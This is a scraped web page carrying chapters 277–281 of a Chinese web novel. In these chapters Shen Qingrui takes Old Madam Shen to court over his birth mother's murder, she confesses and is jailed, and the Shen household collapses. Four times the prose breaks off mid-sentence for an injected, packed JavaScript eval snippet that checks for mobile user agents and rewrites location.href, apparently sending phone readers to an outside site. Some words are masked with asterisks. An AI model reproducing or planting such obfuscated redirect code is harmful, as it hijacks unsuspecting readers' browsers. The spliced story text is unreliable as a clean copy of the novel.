“哎哟,沈家还有这等事儿呢!以前见那沈老夫人总是礼佛,还以为是一位慈悲之人,真是想不到啊!” “知人知面不知心,当初乐安县主休夫时,就应该想到,他们沈家没一个好东西!” “说起来,也真是委屈了乐安县主,那么好的一个人,当初怎么就选了这么个人家!” “这小沈大人可真是可怜,听说,当初沈家全力供应沈家大郎读书时,这二郎连饭都吃不饱,啧啧啧,难怪,不是亲生的,自然就不当回事呢!” 外面众人的一乱声音逐渐放大,传入沈老夫人耳朵里,满脑袋都是“嗡嗡”的声音。 心烦意乱之中,沈老夫人抬起头来,冷不丁与沈清睿的视线相撞,她心口一缩,眼神不着痕迹地躲了一下。 “你,你怎么会……你……”她张张嘴,一时间语无伦次。 “我怎么会知道?你以为,你当年做下的那些事情,不会有人知道?” 沈清睿咬着牙,冷哼一声。 “从小到大,你对我从来都是怒目相向,不管我做得多好,在你这里都得不到一个笑,我早该怀疑我不是你亲生,不过,现在知道也不晚,趁你还活着,我还能为我的生母讨回公道!” “你,不可能!这件事没有人知道,你怎么可能……” 沈老夫人像是受到了惊吓,原本涨红的脸色一下子变得苍白。 沈清睿冷冷扫了沈老夫人一眼,抬头看向邢恪。 “请邢大人做主!” 邢恪蹙眉,审视的目光在沈清睿和沈老夫人脸上扫过,轻咳一声。 “沈侍卫,你可知道,状告父母本就是忤逆不孝的大罪,你若执意要告,先得受下二十杖,你须得考虑清楚!” 百善孝为先,天下无不是的父母,即便他们做了再不可原谅之事,状告父母本就是大罪。 听得邢恪这样说,老夫人眼神闪了闪,紧忙开口,“当初你年纪还小,并不知究竟发生了什么事,说到底这终究是是沈家的事,我们回去再……” “不必了,写下这状纸时,我便已经考虑得很清楚。” 沈清睿抬头,迎着邢恪的视线,坚定开口:“我要告!今日就是打死我,我也要为生母讨一个公道!” 也为自己讨一个说法! 说着,他抬手,将姜云舒交给他的证据递了过去。 若他自小能受沈老夫人善待,今日这状纸他下笔之前或许还有犹豫,可回想这将近二十年的冷漠和苛待,他没有什么好犹豫的。 不,不只是冷漠和苛待,细想之下,他脑子里闪过八岁那年掉进冰窟里,他明明看到母亲过来,可就在他开口呼唤时,她却扭头就走。 那时候,她是想让自己溺死的吧! 邢恪抬了抬手,师爷上前接过沈清睿递来的状纸和证据,随着惊堂木在桌案上一摔。 “啪”的一声脆响,惊得沈老夫人浑身一颤,整个身子人仿佛没了支撑一般,扑通一下跪在了地上。 “买毒杀人,此间相关的药铺掌柜,买药的仆从,还有被你威胁的丫鬟,所有人供词均在此,沈崔氏,你可认罪!” 邢恪的声音透着一股子寒凉,如带了刺的锋芒朝着沈老夫人身上扎。 沈老夫人被惊得浑身颤抖,抬头看向邢恪,嘴唇颤抖着,却连反驳的话都说不出来。 到底是年纪大了,心里撑不住事儿,如今证词在跟前,她当时就慌了。 “我,我也是没有办法啊!那个贱人要拿孩子威胁进我沈家的门,一个和外男偷情被赶出来的婊子,她怎么敢与我叫嚣!” “杀人偿命,你对一个刚刚生产完的女子下杀手,你又是什么好东西!今日我一定要为我娘讨一个公道!”沈清睿怒吼一声。 说话的功夫,已经有衙役将行刑的长条凳子和木棍拿了出来,沈清睿扭头看了一眼,伸手撩起衣袍趴了上去。 “啪!” 重重的一棍子落在沈清睿身上。 沈清睿闷哼一声,咬着牙愣是不哼一声。 与此同时,旁边沈清安还没行刑结束,惨叫声一声一声传来,听得众人心惊肉跳。 沈老夫人定定地看着沈清睿,似是从那张脸上看到了他生母当年的模样。 她是深吸一口气,突然眼底迸发出无边的恨意。 “她活该!都是她勾引老爷,老爷被她迷了心窍,竟然应允她只要生下孩子,便答应她的要求,我怎么可能让她的孩子与我大郎争抢!她必须死,她一定得死!” 沈老夫人咬着牙,抬头看向沈清睿,眼睛里尽是恨不得撕了他的怨恨。 “你娘是贱人,你也是个贱种,你从出生就是来与我大郎争抢的,哪怕你还只有那么小,老爷就已经决定将沈家的基业交给你打理,凭什么,凭什么!” 她怨恨自己的人生里突然冒出来一个出身书香世家的贵女抢走了她的丈夫,她怨恨那贱人生出来的孩子还要抢夺本应该属于她儿子的家产,她更恨原本要依仗余生的夫君将爱全都给了那个女人,她更怨恨,那女人不管出身还是长相都比她好,甚至,她留下的儿子,自小表现出来的聪明才智也都超过了她自己生的儿子。 所以,她一定要那个女人死,所以,她从小打压沈清睿,只要给他一口吃的,让他活着便是,只要活着,成为一个文不成武不就的废物就好! 然而,此时她的大郎被两个夫人联合状告,加上那小孽种倒戈,以至于大郎被直接定了案,杖责罚银不说,就连仕途也受影响。 混账,该死! “早知如此,当初你在襁褓时,我就应该直接掐死你!”老夫人瞪着眼睛,咬牙切齿。 此时的沈老夫人如同一个发了狂的野狗了,龇牙咧嘴的模样,仿佛要将人撕扯了一般。 高芝兰站在旁边,吓得脸都白了,下意识往后退了两步到月禾身边才稍稍安心。 姜云舒侧着身子,垂眸瞧着沈老夫人的模样,面上却未有丝毫变化。 以前在沈家,这老夫人虽然日常里都是和颜悦色,但越是这样的人,便越是并非善类。 此时距离沈老夫人最近便是沈清睿,瞧着她张牙舞爪扑过来,沈清睿稍稍往旁边闪了闪便轻松躲了过去。 “既然你当年没有弄死我,那我留着这条命,便是来向你索债!” 说着,沈清睿抬头再次看向邢恪,咬着牙,“沈大人,那证词之中提及,我生母原是官家千金,沈崔氏杀人,理当偿——命!” 第277章 报应 最后一个字,伴随着随后一棍子落下,沈清睿猛地呼出一口气,趴在长条凳子上,用力的喘息。 邢恪低头看着沈清睿,此时他的衣服已经被血水浸湿,虽看不见皮肉,可只是看着那被血浸透的衣服,也让人忍不住倒吸一口凉气。 邢恪从证词之中抬起头来,眉心凝蹙着。 “小沈大人提上来的证词还算完整,但如今沈老夫人年事已高,我大瑞律法,年过五十着可免除**。” 众人闻言脸色一沉。 他们也是第一次听说,年纪大了犯法就可以免除**。 就连沈老夫人也是一愣,随即看向一旁的沈清睿,脸上张开得意的笑容。 “呵,你这个孽种还想要我的命!我死不了,我要好好活着,我倒要看看,没了沈家,你还有什么可招摇的!” 说着,沈老夫人嘴角一扯,笑容之中带着猖狂。 然而,还不等她笑出声,却听邢恪的声音再次传来。 “死罪可免,活罪难逃,**证据确凿,沈崔氏,罚银两千两,自京兆府内牢关押一月,之后交由沈家宗族处置。” 邢恪的声音洪亮如撞钟,直接将沈老夫人满脸的得意撞得僵在了脸上。 还要关押?交给宗族处置? 以**之罪进了京兆府大牢,那便是身上抹不掉的污点,身上带了污点的宗妇是要被驱逐祠堂之外的,交给宗族处置那不是将她从族谱上除名? 她为了沈家奋斗了一辈子,甚至用尽办法将沈老爷子身边的女人们一个个撵走,为的就是保住她沈家宗妇的地位。 尤其沈清安高中探花之后,她变成了沈家宗亲之中说一不二的大家长,沈家虽说不是什么世家,可各个分支之间还是相互争抢的,几个旁支本就不服她,如今她交给宗族,那些人岂不是要活剥了她? 光是想着,沈老夫人的脸一瞬间变得惨白惨白的。 “不,不能这样,大人,你不能这样!”沈老夫人快步上前,然而,还没到跟前,却被衙役再次拦住。 “退回去!”关捕头朝沈老夫人冷喝一声。 沈老夫人推不开,**儿子似的扯着嗓子喊。 “不行,你不能这样对我,将我交给宗族,你这是要我死啊!” 沈清睿动不了,趴在长条凳子上,扭头看向沈老夫人,苍白的脸上扯出放肆的笑。 “呵,报应!这就是你的报应!哈哈哈——” 他一边哭一边笑,等情绪稍稍平缓,强撑着从长条凳子上下来,跪在地上。 “邢大人,下官还有一事相求。”他咬着牙开口。 “但说无妨。”邢恪应道。 沈清睿扭头朝沈老夫人看去,冷声开口,“下官请邢大人做主,判下官与沈家脱离关系,自此再无相关。” 虽说沈老夫人已经得到了惩罚,可如今他依旧是沈家二郎,家族长辈都知道他的身份,这么多年却只字未提,那以后也没有必要再有牵连。 这样的家族,相互之间的牵扯并非亲情而是利益,他不需要。 邢恪瞧着沈清睿,沉沉叹一口气,应一声,“允。” “多谢!” 沈清睿弯腰,朝着地上给邢恪磕了一个头,随即身子一晃,人便晕了过去。 “沈……来人快请大夫!” 邢恪抬手,让人将沈清睿抬了下去。 另一边,沈清安也没了动静,想来大概也是晕了过去,不过即便没动静,那杖责依旧没断,直到打满了五十棍,才有衙役回来禀报。 “大人,还活着。” 杖责受罚,**就是命,或者,之后要接受的惩罚还要继续。 沈老夫人闻言紧忙抬头,就见几个衙役同样抬着浑身血肉模糊的沈清安出来。 沈清安外衣早在牢狱时就被扒了,此时身上穿的是颜色浅的里衣,那一身的血就更加明显了。 不光是血,结结实实的五十棍子打下来,衣服都被砸烂了,里面翻白的血肉一眼就能看见。 到了跟前,沈老夫人扭头瞧了一眼便惨叫一声,眼珠子一翻也跟着晕了过去。 今日这一场案审,晕过去三个,到最后,大堂之上只剩下姜云舒和高芝兰还清醒着。 “沈清安骗婚证据确凿,罚银五千两,交由两位自行分配,之后呈报吏部削官记录,两位等结果便是。”邢恪道。 “多谢邢大人主持公道。” 姜云舒上前,委身一礼。 高芝兰也紧忙朝着邢恪磕头,一边磕头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刚到,就见吉祥在一楼等着抓药。 第278章 意指敬王 见姜云舒过来,吉祥紧忙上前行礼。 “见过县主。” 说话间,抬头瞧见谢无烬也跟了进来,吉祥的表情一滞,嘴边的话又咽了回去。 “不必多礼,跟我上来吧。” 姜云舒说着,转身朝楼上走去。 谢无烬跟在姜云舒身边,跟着上去。 吉祥顿了一下,思量片刻,扭头朝四处看了一圈,跟着上了楼。 到了二楼雅间,房门关上,吉祥上前一步,她没说话,只会视线朝谢无烬的方向瞟一眼。 此时,谢无烬正给姜云舒倒茶,茶倒好,抬手推到姜云舒跟前。 吉祥看得一脸震惊。 不是说这位谢世子是人间活阎王? 以前她在沈家时也是见过他的,那时,他一个眼神扫过来,就让人忍不住浑身一激灵,可如今面对县主,他那周身的寒气不剩分毫,甚至还莫名多了几分柔和。 虽说当初县主休夫时,这位活阎王也将彩礼送到了沈家,可他们之间…… 不是,此时要紧的是,有他在,她要说的事如何入口? “无妨,你要说什么,只管说。”姜云舒瞧出她的顾忌,先开了口。 吉祥稍稍整理了一下语言,开口。 “昨日混乱时,奴婢试探过老夫人的口风,她知道沈清安背后是有权贵支撑,但并不知究竟是何人,昨日她到时拿出了屿州特产的金叶灵芝。” “屿州……” 这个地名在姜云舒口中缠绕,原本捏着杯盏的手不自觉用力。 若是没记错,屿州是敬王的封地,听说,自敬王回屿州之后,每年都会给太后送金叶灵芝。 如今这一线索,加上之前寻到的蛛丝马迹,几乎可以断定沈清安和敬王之间必定有牵连。 可不知为什么,此时越多的线索握在手里,姜云舒却越发的感觉事情没有那么简单。 她下意识看向谢无烬,谢无烬朝她回了一个安心的眼神。 “除了那金叶灵芝,沈家老夫人手里还有什么有用的线索?”谢无烬忽然开口。 他问的是什么“有用”的线索,便是意指光是金叶灵芝和屿州这一条线索并不足以证明那背后之人。 毕竟,京城之中,相互送礼本就是平常事,特产这种东西也并非只有当地人才拿来送,只要是京城没有的,拿来送人都是稀罕物。 吉祥下意识扭头看向谢无烬,还是被他周身的气场压得喘不过气,她下意识捏住衣角。 “老妇人说是还有什么东西的,但那日她并没有翻找出来,她要紧的东西都是收在内阁间,奴婢需要找机会。” 一边说着,她略带歉意地看向姜云舒。 吉祥之所以还留在沈家,是为了帮姜云舒盯着沈家众人,顺便在不被怀疑的情况下,调查和沈清安相关的事情。 而沈老夫人虽然出身不高,可对于金银宝贝那可是死死攥在手里的,即便吉祥是她身边的大丫鬟,可那藏着宝贝的内阁间,在没有沈老夫人应允的情况下,也是进不去的。 尤其那日沈老夫人为了收买沈清睿在内阁间待了半日后,竟又让人给内阁间加了一把锁,吉祥隐约察觉到沈老夫人在里面藏了东西,可一直到现在都没有机会进去。 “好,我知道了。” 姜云舒抬手将手中杯盏放置桌上,“昨日平洲那边传来了消息,似乎有你小弟的线索了,我会让他们继续跟着确认,若真是你小弟,等沈家诸事结束,我会将你的**契要过来。” 吉祥原本是逃难被卖来的京城,她原本是兄妹三人,兄长卖了她之后,转手又将小弟卖了,这些年来,吉祥一直在寻小弟的下落。 听得姜云舒的消息,吉祥面上瞬间涌出欣喜之色,跪在地上连连磕头。 “多谢县主,多谢县主!奴婢一定尽快完成县主交代的任务。” “不必急躁,如今我已经不在沈家,一切以你的个人安危为重。”姜云舒道。 她善用人,但都是以真心换真心而并非胁迫,是以姜云舒身边众人皆忠心。 吉祥离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440889|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口,谢无烬抬手打开了二楼的窗户,看着吉祥的身影小心谨慎的消失在街角,这才回过身来,看向姜云舒。 “如今的姜家,已经不值得你再费这些心思。” 谢无烬一边说着,给姜云舒跟前的碟子里放了一块点心,“其实沈清安这样的残棋,此时已经可以清除掉了。” “既然是残棋,在清除掉之前,自然要让他发挥最后的作用。” 姜云舒抬手拿起来,小口地抿着,眼神之间眸光流转。 “穷途末路,才能更好的激发人的疯狂,沈清安并非蠢笨之人,他想要翻身,就得跟身后的那位大人物用些手段了。” 说着,姜云舒抬手,将一封请柬放在桌上,“敬王府的接风宴,你也收到请柬了吧?” 谢无烬挑眉,抬手将那请柬推到一边,面上带着几分不满。 “怎么,我明月楼的菜品满足不了你,让你对敬王府的饭菜巴巴地盼着?” 这话说得有些酸,酸得姜云舒忍不住勾起了唇角。 “敬王府的饭菜好不好吃我不知道,但这一场接风宴上,必定会有好戏。” 说着,她抬手将那请柬拿在手里,半眯着眼睛看,“斯羽已经到京城多日,以敬王对他的态度,想必有不少人会派人调查,尤其此时正是失势的三皇子。” 听姜云舒提及斯羽,谢无烬微挑的眼皮带着一丝无奈。 论相貌,他还没有在哪个人面前失了信心,可不得不承认,那斯羽长得的确好看,若是女儿身,保不齐得是几国国君争抢的人物。 这样的人物,在姜云舒这个喜欢看脸的丫头面前,那可是占了大便宜,若非那斯羽是敬王身边的人,谢无烬还真得吊着一颗心了。 “行吧,你若想看戏,我陪你便是。”谢无烬又给姜云舒夹了一块点心。 姜云舒可不会只是纯看戏,越是热闹的地方,她必定也会有所动作。 此时她不说,谢无烬也不问,相比处处为她铺垫,他更喜欢看她运筹帷幄时眼睛里放光的模样。 第279章 沈老夫人的内阁间 清风村。 夕阳西下,晚霞将湖面染成了红色,也将白日的喧闹遮盖住。 清风村医馆之内,随着“嘶”的一声痛呼,沈清睿眉头紧皱醒了过来。 “沈郎,你醒了!” 听到声音,顾从容紧忙到跟前,“你感觉怎么样?” 沈清睿拧着眉头适应了一会儿此时的疼痛,随即看清楚是顾从容,伸手一把拽住她的手。 “从容,我……你再等我几日,等我能下床,便求姜姐姐帮我上顾家提亲。”他咬着牙,艰难的将几个字说完。 顾从容一顿,眼瞧着他此时惨白的脸色,眼眶一红,泪水忍不住落了下来。 “你,决定好了?”她声音哽塞。 “我决定了,这一次,我一定要将你娶进门!” 沈清睿抓着顾从容的手,强行压住全身的颤抖。 “对不起啊从容,以前是我摇摆不定,让你受苦了,以后我们两个人相依为命,我再也不会让你吃苦。”沈清睿发誓一般。 以前横在是沈家和顾从容之间徘徊,倒也并非他不珍视顾从容,而是每次老夫人都以命要挟,身为人子,自然不能受娘亲跪拜,沈老夫人都做到这个程度,若他依旧违背沈家众人选择顾从容,等日后顾从容进了沈家门,也一定不会好过。 顾从容本就一心逃离娘家,若是在夫家也被苛待排挤,对于女子来说,那往后今生便也没有盼头了。 沈清睿是要护着顾从容,而是给她带来灾难。 听他咬着牙道歉,顾从容用力摇摇头。 “有你这一次的选择就够了,我不怪你。”她说着,视线落在沈清睿后背的伤上,眼眶又是一热。 此时清风村医馆外面。 姜云舒仰头看着天上的月亮,轻笑一声,转身朝河边的方向走去。 最近都是打打杀杀的事情,也是该有一件喜事了。 夜风微凉,吹动树梢,倒影落在地上,现出斑驳的形状。 满城静谧之下,沈家的嘈杂显得尤为格格不入。 府医杨大夫一直忙活到了晚上,沈清安的情况终于安稳下来。 也许是疼痛的刺激,待杨大夫施针之后,沈清安很快便醒了过来。 刚刚醒来,听得子固禀报他在受刑时京兆府大堂发生的事情,沈清安原本惨白的脸上几乎都要裂开了。 “怎,怎么可能!当**情明明已经处理好了,为什么还会被翻出来!” 沈清安说着,情绪激动,一下子扯到伤口,措不及防的一声惨叫撕裂夜空。 沈家众人本就战战兢兢,听得这一声惨叫,更是忍不住一哆嗦,就连本来想进来的沈长元也下意识收住了脚步。 “我,我们还是先回去吧,等爹好一些了再来看望。”沈长元一边说着,转身就跑。 沈管家说得对,是娘和姜云舒联合将爹弄成了现在这个样子,如今爹对娘恨得咬牙切齿,看到他难免想到娘,满肚子的怒火怕是要对着自己发了。 他一边跑着,中间路过祖母的庭院,沈长元下意识停住脚步,抬头往里看,里面并没有掌灯。 “为什么,为什么要这样做啊!她是疯了吗,她这样做,我以后怎么过啊!”沈长元蹲在地上,忍不住放声大哭。 到底是个孩子,他不理解大人之间的恩怨,可是现在,父亲受伤,听说还被削了官职,唯一护着他的祖母也被扣在了京兆府,他身边的人一下子就都出事了。 沈家是不是要散了? 万一爹和祖母都出了事,他又该怎么办? 沈长元自然想不到怎么办,他这会儿只能哭。 吉祥跟在边上,看着这个五岁的孩子呜呜地哭,忍不住叹一口气。 回想这三年来,自沈长元叫姜云舒那一声娘开始,姜云舒便开始为他筹谋规划,当时沈清安和高芝兰回来时,若沈长元依旧选择姜云舒,说不定,她在离开沈家时会考虑带他走。 可是,这世上哪里有如果? 他的亲生父母尚且在跟前,姜云舒怎么可能将他带走? “小公子,天色晚了,你还是先回去吧。”吉祥说着,伸手将沈长元拉了起来。 沈长元猛地抬手将吉祥的手打掉,猛地站起身来,冲进了老夫人的院子。 “我不回去,我要在这里等祖母回来。” 沈长元身边跟着小厮,见沈长元冲进去,满脸无助地看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16450570|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向吉祥。 小厮也算是外男,他们是不得进入女眷内院的。 “你们一个人在这里等着,一个人去跟沈管家禀报一声,我进去先哄着,对了,让小厨房送一些小公子喜欢的点心过来。”吉祥有条不紊的吩咐。 “是!” 小厮应声,转身往外走。 吉祥朝四处看了一眼,跟着进了老夫人的院内。 沈长元倒也没闹,只是在老夫人屋里的软塌上躺着,就那样躺着,像是受了什么委屈一般,红着眼角。 “老夫人一时还不能回来,小公子还是回自己的院子里等着吧。” 吉祥好言相劝,一边劝着,言语之间引导,“老夫人这屋子里东西多,万一回来之后少了什么,定然是要跟小公子算账了。” 要说沈老夫人疼爱这个长孙,那是真的疼爱,但凡有点好东西,第一个想到的就是这个金孙,可疼爱归疼爱,那些尤为贵重之物,沈老夫人向来都是藏起来的。 偏偏沈长元知道沈老夫人这个习惯,总是偷偷的翻找沈老夫人的东西,为此,姜云舒以前没少教训他。 此时听得吉祥这话,沈长元猛地扭头朝她瞪一眼。 “我可是沈家的长子长孙,以后沈家的东西都是我的!” 说着,他一下子从床上弹起来,手里拿着不知从哪里翻出来的钥匙,转身朝着沈老夫人内阁间冲了进去。 “哎哟,小公子,你不能进去!” 吉祥紧忙跟了进去。 这晚月朗星稀,月光皎洁,即便没有烛火照亮,隔间内的东西依旧能看得清楚。 沈长元屋内四处搜寻,吉祥借着阻拦的功夫,视线在那架子上扫过。 这隔间算是老夫人的密室,平常便是吉祥都不能随意进来,如今还是第一次看到里面全貌。 原本以为,沈老夫人藏起来的都是金银细软和珍贵物件,如今进来才看到,这内阁之内大半的东西均是卷宗。 吉祥认得几个字,在一拍柜子的卷宗上,看到了几个用红色丝绸包裹起来的,那几卷放在隐蔽位置,若非伸手扒开前面的,还真是发现不了。 正想着,旁侧传来沈长元“咦”的一声。 第280章 被人泼了屎 吉祥转身,就见沈长元手里拿着一个圆圆的盒子,打开,里面是一个虎头的印章。 “咦,这是什么东西,以前怎么没在祖母的藏宝室里见过?”沈长元扭头看向吉祥。 吉祥紧忙过去,瞧着那东西也是一脸迷茫。 她一个伺候人的丫鬟,怎么会认识这些东西?可也不是完全没有印象,这看起来,很像是以前姜云舒随手画的虎符。 虎符? 这个词语在脑子里闪过,吉祥像是被吓到一般,瞪大眼睛。 老夫人这里,怎么会有虎符? 正想着,外面传来脚步声,吉祥神经一紧,来不及多想,紧忙将那东西从沈长元手里抢过来放在了原处。 “千万不能对人说你看到了这个!”她一脸认真的叮嘱沈长元。 沈长元还没反应过来,就被吉祥推着往外走,刚到门口便传来一声沉冷的声音。 “你们在这里做什么!” 声音自外面传来,带着一股子穿透的压迫感。 吉祥抬头,却见来的并不是沈管家,而是是沈清安身边的子固。 “是小公子,他听说老夫人不能回来便闹着要进来。” 说着,吉祥将沈长元拽了出来,一边往外走,还朝外面望了一眼。 “怎么只有你来,沈管家没过来吗?” “你通知沈管家了?” 子固蹙眉,视线落在吉祥脸上,带着强烈的是审视。 “老夫人不在,自然是要通知沈管家的。”吉祥镇定自若,朝子固看一眼,“不过,怎么来的是你?” 一句话,将被怀疑的对象调转了身份。 子固蹙眉,还没想好怎么说,却听得外面传来沈管家急促的声音。 “哎哟,小祖宗,你怎么跑这里来了!” 沈管家一边压低了声音喊着进了院子,抬头瞧见子固也在,跟着又是一愣。 “你怎么在这里?” 吉祥是跟着沈长元来的,沈管家是被吉祥叫来的,子固不在沈大人身边伺候着,来这里做什么? “是大人差我来取一样东西。” 说着,子固就要往里走,然而,还没进隔间,却被沈管家从身后叫住。 “老夫人亲口叮嘱过,没有她的应允,谁都不能进这隔间,咱们都是受主子差遣的,子固兄弟别让我们难做。” 说着话,他抬手朝子固伸了伸手,看在他是沈大人身边的亲信,将他“请”了出去。 子固脸色阴沉,可这个时候又不能在老夫人院子里闹起来,只能离开。 吉祥一手拽着沈长元,瞧着子固往外走的神情,脸上的表情逐渐沉了下来。 虽说她和子固并不相熟,可殊不知为何,自沈家搬离原来的宅子,子固身上就有了一介微妙的变化。 究竟是什么样的变化,吉祥说不清楚,但是一定是有变化的。 晨光破晓,万物苏醒,新的一天,在希望中悄然绽放。 然而,这崭新的一天对于沈家来说,却是昏暗的开始。 天刚微亮,子固便急匆匆出了门,直奔清风村而去。 沈管家得了沈清安的命令,正准备出门去京兆府衙门给老夫人打点,结果,刚一出门,就被人蒙头泼了一盆腥臭的东西上来。 “哎哟!谁泼我!” 沈管家一个趔趄,险些摔在地上,还不等回过神来,又是烂菜叶子又是臭鸡蛋的迎面就砸了过来。 “臭不要脸的一家子,住在我们这里真是招晦气!” “**凶手,滚出昌明街!” “滚,滚出去!” 众人义愤填膺,一边喊着,早就准备好的污秽之物便朝着沈家的大门泼了过来。 沈管家吓得一激灵,紧忙转身往回跑,一边跑着,吩咐下人。 “关门,快关门!” 一路跑了回去,沈管家终于喘一口气,一边穿着粗气不由得感叹,刚才子固是怎么冲出重围出去的呢。 “你们几个,过来!” 平静片刻,沈管家朝旁边几个小厮招招手,“一会儿,你们拿着油纸伞先出去,给我拦出来一条路,今日这门,我无论如何都得出去。” 沈老夫人还关在京兆府的内牢之中,她年纪大了,若是不打点上下,老夫人的身子骨怕是撑不了多久。 到底是跟了几十年的主家,沈管家对于沈老夫人还是忠心的。 几个小厮本是不愿意的,可抬眼瞧见沈管家掏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16450571|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的银锭子,几个人眼睛一亮,转身就回去拿油纸伞了。 一会儿功夫,众人全副武装好了,随着门仆猛地将大门拽开,众人举着伞就往外冲。 “还敢出来,泼他!” “里面那个是管家,大家朝着他仍!” 人群之中不知道谁喊乐意嗓子,一时间,几个人便朝着沈管家的身边冲了过来。 眼看着,沈家大门前一下子乱了起来。 脏水,泥污,臭鸡蛋,烂菜叶子满天飞,众人的怒吼声,小厮的冲喊声,还有人声鼎沸之下,沈管家苦命的喊声掺杂在一起,比早市的市场还要热闹。 “住手!” 就在这时,人群之外传来一声冷喝。 那声音浑厚洪亮,带着一股强大的气场,只是一句,便将嘈乱的场面何止住。 众人下意识扭头,见来人一身锦衣服饰,前面还有侍卫开路,气焰一下子就散了。 沈管家这才抬眼,伸手抹了一把脑袋上的脏污,用力眨了眨眼睛才看清楚,竟然是宫里的人。 “大人,快救命啊!” 一声哭喊,沈管家从人群中冲了出来,朝着来人就奔了过去。 “大人,您瞧这帮刁民,竟然敢在官员府邸**,还请大人做主啊!” 他看不出来人官职,但是这些人身上穿的衣服很金贵,旁边那两位官员身上的官府看起来官位也不小,想来定然能给沈家做主。 内侍官低头瞧了沈管家一眼,嫌弃地往后退了一步。 “你们沈清安沈大人呢?”他扯着尖锐的嗓音开口。 “正在房内!” 沈管家紧忙答话,“我家沈大人刚受了板子,此时尚不能起床,还请诸位大人见谅。” 说着话,顺手将脑袋上的菜叶子摘下来,带着几个人转身进了院子。 周边百姓一时间面面相觑,谁也不知道来的是什么人,更不是道所谓何来,有胆子小的,趁着混乱的时候溜了,还有以前受过姜云舒恩惠,亦或者是赤羽军旧部退下来的老兵,依旧不解恨,索性就等在沈家外面。 此时沈家。 随着小厮的一声通报,沈清安猛然间睁开眼睛。 宫,宫里来人! 第281章 最后的稻草 沈清安心中慌乱,即便此时站都站不起来,还是让小厮将他抬了出去。 “沈大人安好啊!”内侍官垂眸朝沈清安道了一声安。 “多谢关心。”沈清安扯着嘴角应一声。 “既然沈大人已经醒了,那咱们便开始谈正事吧!” 说着话,内侍官将随行带来的圣旨拿出来。 就在内侍官宣读圣旨时,旁边两位官员走上前来。 因涉及官员,昨日沈清安骗婚一案结案之后,邢恪便立即将有关的文书送到了宫里,这不,一大清早,皇上的圣旨和吏部的人就来了。 沈清安浑身紧绷着,趴在地上,耳朵里传来内侍官尖锐的声音。 也不知是官降两级的声音太大,还是内侍官的嗓音太尖锐,沈清安只觉得耳朵里“嗡嗡”作响,全身的血都凉了。 等内侍官宣读完圣旨,吏部两位官员走上前来。 “沈大人,依照流程,您的官袍得收回,稍后新官袍会送过来。”官员声音平淡,语气之间透着一股疏离。 “我,我是冤枉的,我是冤枉的!”沈清安起不来,咬着牙在架子上只捶。 他从没想过,自己最后竟然会被姜云舒和高芝兰一起给坑害了! 对,就是坑害! “冤枉不冤枉的,就等沈大人能下床进宫见皇上再说,这会儿,您得先接旨。”内侍官挑着嗓音道。 沈清安满腔愤怒,奈何身体动不了,除了趴着无能狂怒,什么都做不了。 “大人,这可是圣旨,您现在得先接了旨,往后身体恢复了,才能进宫求皇上做主啊,留得青山在,不怕没柴烧。”沈管家紧忙上前劝告。 一边劝着,沈管家给沈清安屋里的小厮努了努嘴嘴,让去拿官袍。 “几位大人辛苦了,还请再次稍等片刻,喝盏茶。” 说着,沈管家招呼丫鬟送茶过来。 茶到了跟前,内侍官抬手接过来,垂眸瞧见杯盏里的金瓜子,面上的表情稍稍舒缓了几分。 “听咱家一句劝,沈大人还年轻,有些事情还是脚踏实地的好,京城自有京城的一套生存方式,您还是得顺应了才是。” 一边说着,内侍官将金瓜子悄无声息的收了起来。 沈清安一双眼睛通红,听到内侍官的话,抬起头来,满眼的猩红随着愤怒暴涨。 官袍被收走,沈管家送内侍官和吏部官员离开,他顿了顿,转身又去了沈清安的院子。 还没进院,就听到屋内传来狂怒的打砸声,还有沈清安怒吼的“姜云舒”。 一个状告,一个作证,沈清安满脑子都是姜云舒,却对高芝兰只字未提。 大概,在他眼里,高芝兰那点动静,原本根本翻不起什么风浪,而导致他一步步走到现在的,都是姜云舒的蓄意报复! “我一定要杀了她,这个**!” 沈清安咬牙切齿,仿佛一句话嚼碎了从牙缝中挤出来一般,带着满腔的怒火。 沈管家在外面停顿片刻,无奈叹一口气,抬脚走了进去。 进了屋,里面已经是满地狼藉,几乎都没有能下脚的地方,就连平日里沈清安小心翼翼保存,当成宝贝的东西,也被他毫不留情的扔在了地上,碎了一地。 